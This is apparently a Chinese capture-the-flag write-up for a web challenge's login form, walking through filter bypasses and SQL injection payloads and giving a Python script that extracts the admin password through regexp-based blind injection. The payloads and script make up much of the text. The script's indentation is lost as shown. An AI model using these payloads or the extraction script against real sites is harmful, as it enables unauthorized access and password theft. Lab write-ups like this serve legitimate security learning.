打开题目,是一个登录框

目录扫描扫出来一个flag.php,hint.txt,robots.txt等

flag.php啥也没有,访问hint.txt,发现有过滤和得到flag的条件,如果passwd的值等于admin的密码则登录成功,但是admin也被过滤了

没有过滤 \,过滤的空格可以替换为%09,末尾多出的'可以用%00代替
构造paload:username=\&passwd=||%091;%00

看到查询成功会跳转到welcome.php,这样一来就要获得admin账户密码了,构造成功登录是不行的
可以用正则匹配,匹配passwd来进行盲注,匹配任何以"^ "开头的字符串(因为是正则匹配,所以需要限定字符串开头,否则在字符串中找到也会算为真)
Paload:username=\&passwd=||%09passwd%09regexp%09"^a";%00
以a开头不是
依次类推,得到密码的第一个字母是 y

然后使用脚本跑出全部的密码:you_will never know7788990
import requests
from urllib import parse
import time
strings = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_{}-~'
url = 'http://d18242a4-5364-417b-8db6-aca4f0c923fb.node5.buuoj.cn:81'
passwd = ''
i = 1
while i < 80:
for one_char in strings:
data = {
'username':'\\',
'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00')
}
rs = requests.post(url,data).content.decode('utf-8')
time.sleep(0.01)
if 'welcome' in rs:
passwd = passwd + one_char
print("\r", end="")
print('已匹配到前'+str(i)+'位'+' | '+str(passwd),end='')
i = i + 1
break
if one_char=='~' and 'welcome' not in rs:
print('\n密码共'+str(i-1)+'位,已匹配完成')
i = 80
break

然后使用匹配到的密码随便使用一个用户名登录一下获得flag

1442

被折叠的 条评论
为什么被折叠?



